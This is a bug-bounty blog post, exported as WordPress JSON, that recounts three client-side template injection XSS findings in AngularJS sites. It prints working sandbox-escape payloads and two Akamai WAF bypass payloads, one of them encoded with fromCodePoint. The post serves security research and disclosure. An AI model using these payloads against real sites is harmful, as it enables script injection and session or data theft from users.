{"id":128,"date":"2022-08-13T17:31:49","date_gmt":"2022-08-13T15:31:49","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=128"},"modified":"2022-09-07T09:09:45","modified_gmt":"2022-09-07T07:09:45","slug":"xss-via-angular-template-injection","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/","title":{"rendered":"XSS via Angular Template Injection"},"content":{"rendered":"\r\n<p>This time I have a story about several XSS bugs I found across several programs. This type of XSS is called CSTI XSS (Client Side Template Injection) which means that the attacker can inject the javascript code inside the template language used by the client side technology. The modern client-side frameworks such as Vue, React or Angular allows to use of templates to print the values of variables or evaluate expressions. For example, this piece of code will display 2 as {{1+1}} expression equals 2:<\/p>\r\n<blockquote>\r\n<p>&lt;html&gt;<br \/>&lt;head&gt; <br \/>&lt;meta charset=&#8221;utf-8&#8243;&gt;<br \/>&lt;script src=&#8221;https:\/\/ajax.googleapis.com\/ajax\/libs\/angularjs\/1.4.6\/angular.js&#8221;&gt;&lt;\/script&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;div ng-app&gt;{{1+1}}&lt;\/div&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\r\n<\/blockquote>\r\n<p>There is a possibility to execute javascript expressions inside the mustache tags. Angular has some protection called sandbox which <span class=\"ILfuVd\" lang=\"en\"><span class=\"hgKElc\">restricts from evaluation of unsafe expressions. Some clever people found a way to bypass this protection. The payload used to that varies among different versions of angular.\u00a0 How to test for the template injections:<\/span><\/span><\/p>\r\n<ol>\r\n<li>Try {{7*7}} as a payload and see if you see 49 rendered somewhere<\/li>\r\n<li>If so, check the Angular version with <a href=\"https:\/\/www.wappalyzer.com\/\">Wappalyzer<\/a> or look at the source code<\/li>\r\n<li>\u00a0Choose the right payload for the version and try to pop an alert box<\/li>\r\n<li>When there is WAF in place, play with the payload to achieve the goal<\/li>\r\n<\/ol>\r\n<p>Look for payloads here:<\/p>\r\n<p><a href=\"https:\/\/gist.github.com\/mccabe615\/cc92daaf368c9f5e15eda371728083a3\" target=\"_blank\" rel=\"noopener\">https:\/\/gist.github.com\/mccabe615\/cc92daaf368c9f5e15eda371728083a3<\/a><\/p>\r\n<h2><strong>The first case &#8211; the simple one<\/strong><\/h2>\r\n<p>I checked with wappalyzer that the site uses Angular 1.5.x. Don&#8217;t remember the exact version now.<br \/>There was a search box on the main site. I thought I tried CSTI payload but it would not work for sure. That&#8217;s the main site. <br \/>I tried {{7*7}} &#8211; the famous CSTI payload I saw on the site:<\/p>\r\n<p>&#8220;Search Results &#8211; 49&#8221;<\/p>\r\n<p>It worked &#8211; now it&#8217;s time to try to run some js. I looked for the payload here:<\/p>\r\n<p><a class=\"wrapped\" href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md<\/a><\/p>\r\n<p>It was a payload for AngularJS 1.5.9 &#8211; 1.5.11 by Jan Horn. I modified it to show the actual domain name. So the final link was:<\/p>\r\n<blockquote class=\"wrapped\">https:\/\/redacted.com\/search?searchterm={{c=%27%27.sub.call;b=%27%27.sub.bind;a=%27%27.sub.apply;c.$apply=$apply;c.$eval=b;op=$root.$$phase;$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;C=c.$apply(c);$root.$$phase=op;$root.$digest=od;B=C(b,c,b);$evalAsync(%22astNode=pop();astNode.type=%27UnaryExpression%27;astNode.operator=%27(window.X?void0:(window.X=true,alert(document.domain)))+%27;astNode.argument={type:%27Identifier%27,name:%27foo%27};%22);m1=B($$asyncQueue.pop().expression,null,$root);m2=B(C,null,m1);[].push.apply=m2;a=%27%27.sub;$eval(%27a(b.c)%27);[].push.apply=a;}}<\/blockquote>\r\n<p>It worked :). I got reflected XSS.<\/p>\r\n<p>Lesson learned &#8211; <span class=\"VIiyi\" lang=\"en\"><span class=\"JLqJ4b ChMk0b\" data-language-for-alternatives=\"en\" data-language-to-translate-into=\"pl\" data-phrase-index=\"0\" data-number-of-phrases=\"1\"><span class=\"Q4iAWc\">do not make any assumptions<\/span><\/span><\/span>.<\/p>\r\n<p>\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-134 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png\" alt=\"\" width=\"960\" height=\"312\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png 960w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1-300x98.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1-768x250.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1-850x276.png 850w\" sizes=\"auto, (max-width: 960px) 100vw, 960px\" \/><\/p>\r\n<p>&nbsp;<\/p>\r\n<h2><strong>The second case &#8211; the AKAMAI WAF in place<\/strong><\/h2>\r\n<p>I found a reflected XSS bug on site https:\/\/www.redacted.com The js code execution is possible through angular template injection.<br \/>The site used the Angular 1.6 framework. I looked for the payload here:<\/p>\r\n<p><a class=\"wrapped\" href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md<\/a><\/p>\r\n<p>The original payload for Angular 1.6 was:<\/p>\r\n<blockquote>\r\n<p>{{constructor.constructor(&#8216;alert(document.domain)&#8217;)()}}<\/p>\r\n<\/blockquote>\r\n<p>AKAMAI WAF blocked it. After about one hour of trials and errors I was able to bypass the WAF with:<\/p>\r\n<blockquote>\r\n<p>{{constructor.constructor(&#8216;a=document;confirm(a.domain)&#8217;)()}}<\/p>\r\n<\/blockquote>\r\n<p>The alert of happiness popped up :).<\/p>\r\n<p>&nbsp;<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-135 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted_2.png\" alt=\"\" width=\"832\" height=\"568\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted_2.png 832w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted_2-300x205.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted_2-768x524.png 768w\" sizes=\"auto, (max-width: 832px) 100vw, 832px\" \/><\/p>\r\n<p>&nbsp;<\/p>\r\n<h2><strong>The third case &#8211; the stronger AKAMAI WAF in place<\/strong><\/h2>\r\n<p>On another site, I found another CSTI XSS via Agular 1.4.3. The AKAMAI WAF was in place. It took me some time to bypass that and this time something as simple as the second case did not work. The payload\u00a0 I created was injected into the context of the page and was like:<\/p>\r\n<blockquote>\r\n<p><span class=\"message-body-wrapper\"><span class=\"message-flex-body\"><span class=\"message-body devtools-monospace\"><span class=\"objectBox objectBox-string\">x=1}}};alert(1)\/\/<\/span><\/span><\/span><\/span><\/p>\r\n<\/blockquote>\r\n<p>I could not place it just like that as it was blocked by WAF. I used <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/JavaScript\/Reference\/Global_Objects\/String\/fromCodePoint\"><strong>String.fromCodePoint()<\/strong><\/a> method which returns a string created by using the specified sequence of code points &#8211; in this case, ASCII codes. No brackets also triggered the WAF, eventually this payload worked. However, I could not execute alert(document.domain) as the code crashed :(. Reported this anyway<\/p>\r\n<blockquote>\r\n<p>{{([].toString()).constructor.prototype.charAt=[].join;$eval(([].toString()).constructor.fromCodePoint([120],[61],[49],[125],[125],[125],[59],[97],[108],[101],[114],[116],[40],[49],[41],[47],[47]));}}<\/p>\r\n<\/blockquote>\r\n<p>where 120,61,49 and so on were ASCII codes of the chars used in payload.<\/p>\r\n<p>&nbsp;<\/p>\r\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-133 size-large\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1024x388.png\" alt=\"\" width=\"640\" height=\"243\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1024x388.png 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-300x114.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-768x291.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-850x322.png 850w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted.png 1043w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/p>\r\n<p>Reward: \ud83d\udc55<\/p>\r\n<p>Hope you learned something. See you next bug \ud83d\ude42<\/p>\r\n","protected":false},"excerpt":{"rendered":"<p>This time I have a story about several XSS bugs I found across several programs. This type of XSS is called CSTI XSS (Client Side Template Injection) which means that the attacker can inject the javascript code inside the template language used by the client side technology. The modern client-side frameworks such as Vue, React&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,33,29],"tags":[],"class_list":["post-128","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-vdp","category-write-up"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"og:description\" content=\"This time I have a story about several XSS bugs I found across several programs. This type of XSS is called CSTI XSS (Client Side Template Injection) which means that the attacker can inject the javascript code inside the template language used by the client side technology. The modern client-side frameworks such as Vue, React...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/\" \/>\n<meta property=\"og:site_name\" content=\"Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"article:published_time\" content=\"2022-08-13T15:31:49+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-09-07T07:09:45+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png\" \/>\n<meta name=\"author\" content=\"bergee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/bergee\" \/>\n<meta name=\"twitter:site\" content=\"@bergee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"bergee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/\"},\"author\":{\"name\":\"bergee\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#\\\/schema\\\/person\\\/a37382384cc58e596119b1eec4869d73\"},\"headline\":\"XSS via Angular Template Injection\",\"datePublished\":\"2022-08-13T15:31:49+00:00\",\"dateModified\":\"2022-09-07T07:09:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/\"},\"wordCount\":747,\"publisher\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#\\\/schema\\\/person\\\/a37382384cc58e596119b1eec4869d73\"},\"image\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/angular_csti_redacted-1.png\",\"articleSection\":[\"Bez kategorii\",\"vdp\",\"write-up\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/\",\"url\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/\",\"name\":\"XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/angular_csti_redacted-1.png\",\"datePublished\":\"2022-08-13T15:31:49+00:00\",\"dateModified\":\"2022-09-07T07:09:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#primaryimage\",\"url\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/angular_csti_redacted-1.png\",\"contentUrl\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/angular_csti_redacted-1.png\",\"width\":960,\"height\":312},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/xss-via-angular-template-injection\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/bergee.it\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"XSS via Angular Template Injection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/bergee.it\\\/blog\\\/\",\"name\":\"Bergee&#039;s Stories on Bug Hunting\",\"description\":\"hacking, cyber security and programming\",\"publisher\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#\\\/schema\\\/person\\\/a37382384cc58e596119b1eec4869d73\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/bergee.it\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/#\\\/schema\\\/person\\\/a37382384cc58e596119b1eec4869d73\",\"name\":\"bergee\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/berdzi_drawing_150x150_x.png\",\"url\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/berdzi_drawing_150x150_x.png\",\"contentUrl\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/berdzi_drawing_150x150_x.png\",\"width\":129,\"height\":150,\"caption\":\"bergee\"},\"logo\":{\"@id\":\"https:\\\/\\\/bergee.it\\\/blog\\\/wp-content\\\/uploads\\\/2022\\\/08\\\/berdzi_drawing_150x150_x.png\"},\"sameAs\":[\"http:\\\/\\\/localhost\\\/wordpress\",\"https:\\\/\\\/www.linkedin.com\\\/in\\\/bartlomiej-bergier\",\"https:\\\/\\\/x.com\\\/https:\\\/\\\/twitter.com\\\/bergee\"],\"url\":\"https:\\\/\\\/bergee.it\\\/blog\\\/author\\\/bergee\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/","og_locale":"en_US","og_type":"article","og_title":"XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting","og_description":"This time I have a story about several XSS bugs I found across several programs. This type of XSS is called CSTI XSS (Client Side Template Injection) which means that the attacker can inject the javascript code inside the template language used by the client side technology. The modern client-side frameworks such as Vue, React...","og_url":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/","og_site_name":"Bergee&#039;s Stories on Bug Hunting","article_published_time":"2022-08-13T15:31:49+00:00","article_modified_time":"2022-09-07T07:09:45+00:00","og_image":[{"url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png","type":"","width":"","height":""}],"author":"bergee","twitter_card":"summary_large_image","twitter_creator":"@https:\/\/twitter.com\/bergee","twitter_site":"@bergee","twitter_misc":{"Written by":"bergee","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#article","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/"},"author":{"name":"bergee","@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"headline":"XSS via Angular Template Injection","datePublished":"2022-08-13T15:31:49+00:00","dateModified":"2022-09-07T07:09:45+00:00","mainEntityOfPage":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/"},"wordCount":747,"publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"image":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png","articleSection":["Bez kategorii","vdp","write-up"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/","url":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/","name":"XSS via Angular Template Injection - Bergee&#039;s Stories on Bug Hunting","isPartOf":{"@id":"https:\/\/bergee.it\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#primaryimage"},"image":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#primaryimage"},"thumbnailUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png","datePublished":"2022-08-13T15:31:49+00:00","dateModified":"2022-09-07T07:09:45+00:00","breadcrumb":{"@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#primaryimage","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/angular_csti_redacted-1.png","width":960,"height":312},{"@type":"BreadcrumbList","@id":"https:\/\/bergee.it\/blog\/xss-via-angular-template-injection\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/bergee.it\/blog\/"},{"@type":"ListItem","position":2,"name":"XSS via Angular Template Injection"}]},{"@type":"WebSite","@id":"https:\/\/bergee.it\/blog\/#website","url":"https:\/\/bergee.it\/blog\/","name":"Bergee&#039;s Stories on Bug Hunting","description":"hacking, cyber security and programming","publisher":{"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/bergee.it\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":["Person","Organization"],"@id":"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73","name":"bergee","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","url":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","contentUrl":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png","width":129,"height":150,"caption":"bergee"},"logo":{"@id":"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png"},"sameAs":["http:\/\/localhost\/wordpress","https:\/\/www.linkedin.com\/in\/bartlomiej-bergier","https:\/\/x.com\/https:\/\/twitter.com\/bergee"],"url":"https:\/\/bergee.it\/blog\/author\/bergee\/"}]}},"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/128","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=128"}],"version-history":[{"count":16,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/128\/revisions"}],"predecessor-version":[{"id":176,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/128\/revisions\/176"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=128"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=128"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=128"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}